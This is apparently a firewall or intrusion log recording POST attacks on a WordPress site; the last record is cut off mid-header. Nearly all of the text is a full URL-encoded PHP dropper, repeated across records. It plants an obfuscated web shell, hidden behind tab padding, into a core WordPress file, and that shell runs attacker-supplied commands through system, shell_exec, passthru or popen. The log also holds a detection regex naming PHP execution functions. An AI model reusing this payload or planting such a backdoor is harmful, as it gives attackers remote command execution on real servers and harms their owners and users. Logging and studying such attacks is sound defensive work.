la:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoTRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6037\n\nla=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:04","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\ncontent-length:6060\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:45:07","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; 